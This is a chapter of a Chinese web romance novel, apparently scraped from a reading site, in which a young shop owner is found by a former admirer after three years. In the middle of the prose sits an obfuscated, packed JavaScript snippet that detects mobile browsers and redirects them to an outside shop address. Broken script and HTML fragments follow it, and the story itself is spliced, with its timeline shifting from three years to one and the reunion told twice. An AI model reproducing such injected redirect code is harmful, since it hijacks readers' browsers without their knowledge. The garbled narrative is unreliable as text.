二宝生下来是个带把的,白白嫩嫩的小卷发,眉眼一看就随沈辞。

    如今有两个宝贝,何盼娣的心思却活泛了起来——她现在就想再要个软软糯糯的小闺女。

    女儿贴心,长大了模样俊俏,还能疼人。她觉得自己苦了一辈子,等老了,身边不仅要有儿子们陪,也得有个小棉袄陪着。

    可生女儿这事儿,是真的挑爹。

    周嘉壕长相平庸,生不出多好看的孩子;那个总裁老板,她也不敢回头去找;至于沈辞,虽然年轻干净、家里有钱,但终究靠不住,出国一走,这根线就断了。

    她绝不能将就。

    她才二十五岁,正是好年纪,身子恢复得快,完全赶得及再拼一胎。

    这一次,她必须挑个最好的。

    长得要顶级帅,家世要顶级好,基因拔尖,家底扎实。只有这样,她才能生出最漂亮的小公主,让她以后一辈子衣食无忧,长得漂漂亮亮,把所有人都压下去。

    打定主意后,何盼娣果断把手里的麻辣烫小摊盘了出去,换了个轻松点的奶茶炸串店。

    一来,不用再天天熬大夜,能好好保养身子;二来,大学城附近富人多,方便她找人。

    她穿着看着依旧安分老实,谁也不知道,她心里正盘算着下一胎的路。

    没事的时候,她就爱去附近的高端健身房晃悠。

    她不健身,就是看人、挑人。

    挑她未来闺女的亲爹。

    没想到,陆淮就是在这个时候找上门的。

    陆淮。

    这个名字,何盼娣已经快三年没听见过了。

    那天下午,奶茶店刚过了学生放学的高峰期。她正蹲在门口补货,忽然听见有人轻轻敲了敲玻璃。

    她抬起头。

    门外站着一个男人。

    即便他整个人透着一股从骨子里渗出来的落拓与疲惫,何盼娣还是一眼就认出了他。

    那张脸实在太优越了,哪怕瘦了,下颌线依旧锋利得像刀裁,鼻梁挺拔,眉骨深邃。只是那头总是打理得一丝不苟的头发,此刻凌乱地散在额前,遮住了小半张脸。

    可偏偏就是这副微显狼狈的模样,配上他那双天生的桃花眼,竟生出一种惊心动魄的破碎感。他隔着玻璃静静地看着她,眼尾微微上挑,似笑非笑。颓丧、破碎,又带着极具侵略性的帅,让人看一眼就挪不开视线。

    陆淮。

    何盼娣愣了一下。

    他隔着玻璃,没说话。那眼神空洞又执拗,像是一个在沙漠里跋涉了太久、终于看到海市蜃楼的旅人,连呼吸都变得小心翼翼,生怕吹散了眼前的幻影。

    何盼娣赶紧站起来,把围裙上的奶茶渍拍了拍。

    “陆先生?”

    陆淮望着她,干裂的嘴唇动了动,扯出一个笑。

    “何盼娣。”他开口,声音哑得不成样子,“你真能躲。”

    听到这句话,何盼娣心里忽然有点心虚。那年那天,他给她发过一条消息——

    【如果后天还能见面,你做我女朋友,好不好?】

    她一直没回。后来,她连手机号码都换了。

    陆淮慢慢走进店里。

    他走得很慢,脚步有些虚浮。奶茶店不大,几个大学生正坐在角落写作业,炸串在油锅里滋啦作响,空气里都是孜然和奶茶的香气。

    他低头看了一圈,目光重新落回她身上,轻声说:“这就是你现在开的店?”

    何盼娣点头:“是的。”

    “挺好的,你比以前……胖了一点。”他看着她,语气平淡,目光却黏在她脸上,怎么也移不开。

    何盼娣下意识摸了摸自己的脸:“真的吗?”

    “嗯,更性感漂亮了。”

    何盼娣嘿嘿一笑:“那当然,现在不用天天摆麻辣烫了。”

    陆淮望着她,目光忽然停住了。

    他看见了柜台后面。一个两岁的小男孩,正踩着小板凳,努力往奶茶杯里塞吸管。小家伙白白嫩嫩,眼睛乌黑,侧脸轮廓干净得惊人。

    陆淮的呼吸停了一拍。

    “小朋友。”他轻声问,声音都在发颤,“这是……”

    何盼娣一点没多想,顺手把孩子抱下来,随口答道:“哦,我儿子。”

    空气忽然安静了。

    陆淮脸上的笑,彻底僵住。

    他盯着那个孩子,喉结慢慢滚了一下。像是被抽干了全身的力气,整个人摇摇欲坠地靠在柜台上,眼眶一寸一寸地红透了。

    因为她的不告而别,这三年他消极地躲到国外放逐自我。无数个日夜,他过得如同行尸走肉。

    自己真的就这么不堪么?他曾极度的厌弃自我。

    可是一切的一切,终究抵不过自己对她的思念。

    最终,他还是回国了。

    他想过她嫁人了,想过她搬家了,甚至想过她是不是出了什么事。唯独没有想过,她已经有孩子了。

    还是……这么大的孩子。

    关于这孩子的父亲,但他不敢问。

    陆淮找了她整整三年。

    她就像人间蒸发了一样,不留一丝痕迹。电话成了空号,出租屋早就退了租,老家的房子大门紧锁。他连那家家政公司的经理都问过了,对方只是摇头:“何盼娣?早辞职了,再没联系过。”

    最开始的时候,他还笑。

    没关系。他想,她就是躲他几天,过几天就回来了。

    后来,一个星期,一个月,三个月,半年。

    他终于开始承认,她不是闹脾气。她是真的不要他了。

    这一年里,他去过那栋别墅无数次。他会习惯性地把车停在她以前常停电动车的位置,哪怕那里早就换了一辆崭新的车。厨房还是那个厨房,花园还是那个花园,傅老爷子偶尔还会念叨一句:“那丫头煲的汤,比谁都香。”

    陆淮每次都笑着听。没人知道,只有他自己清楚,那句话就像一把钝刀,一下一下地割着他的心。

    后来,他开始满城找人。朋友笑他:“陆少,你什么时候这么长情了?”

    他也跟着笑:“没有,就是欠她一句话。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688670|207529||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    只有他自己知道,那不是一句话的事,是整整一年的煎熬。这一年里,他无数次梦见那天发出去的消息——

    【如果后天还能见面,你做我女朋友,好不好?】

    那条消息一直停留在那里,没有回复,像石沉大海。

    后来,他终于学会不再每天打开那个聊天框,也终于学会告诉自己:算了,她应该已经过得很好了。

    直到今天。

    他陪客户来到大学城,路过一条街时,一阵奶茶香顺着风吹了过来。他漫不经心地抬起头,隔着一整面玻璃,看见了一个姑娘。

    她系着浅黄色的围裙,头发松松挽在脑后,正低着头,认真封着一杯奶茶。阳光落在她的侧脸上,温柔得不像话。

    陆淮的脚步骤然停住。

    这一瞬,耳边所有的声音都远了。人潮、车流、风声,都像潮水一样退去,世界忽然安静得只剩下她一个人。

    三年,他终于找到她了。

    他就这么站在玻璃外,隔着一层透明的窗,看着那个日日夜夜都忘不掉的人。忽然间,他连推门的勇气都没有了。

    他怕。怕这一眼,又是自己太想她,而做的一场梦。

    陆淮的目光,缓缓落在那个孩子身上。

    小家伙白白净净的,正抱着何盼娣的腿,仰着脑袋冲她笑。

    陆淮安静地看着,看了很久。

    胸口像是被什么东西狠狠攥了一下,连呼吸都跟着滞住。

    这一年里,他无数次幻想过重逢的场景,却从没想过,她身边,会多出一个孩子。

    何盼娣蹲下身,熟练又温柔地替孩子擦掉嘴角沾着的奶油。阳光透过玻璃落下来,落在她身上,也落在那个孩子身上。他们站在一起,像早就属于同一个世界。

    陆淮忽然觉得,自己这一年的苦苦寻找,好像成了一个笑话。

    可也只是那么一瞬。

    他眼底的情绪,又一点一点地沉了下去,化作一片深不见底的暗色。

    只要她还好好的。

    这就够了。

    陆淮慢慢走过去,在她身边蹲下身,视线与孩子平齐。

    小家伙也不怕生,一双乌溜溜的眼睛好奇地看着他。陆淮轻轻笑了一下,声音温柔得连他自己都觉得陌生。

    “你好。”他说,“我是你妈妈以前的朋友。”

    孩子歪着脑袋看了他一会儿,忽然咧嘴笑了,露出两颗小乳牙:“叔叔好。”

    这一声软糯的“叔叔”,叫得陆淮眼眶微微发热。

    他伸出手,轻轻摸了摸孩子的脑袋。动作极轻极轻,像是在触碰一件失而复得、生怕稍一用力就会碎掉的珍宝。

    站起身的时候,他终于将目光重新投向何盼娣。

    三年没见,她更有韵味了,气色好了很多,眼睛还是那么亮。

    还是那个何盼娣。

    陆淮就这么静静地望着她,眼圈一寸一寸地泛红。良久,他才低低地笑了一声,声音哑得不成样子。

    “何盼娣。”

    “找到你了。”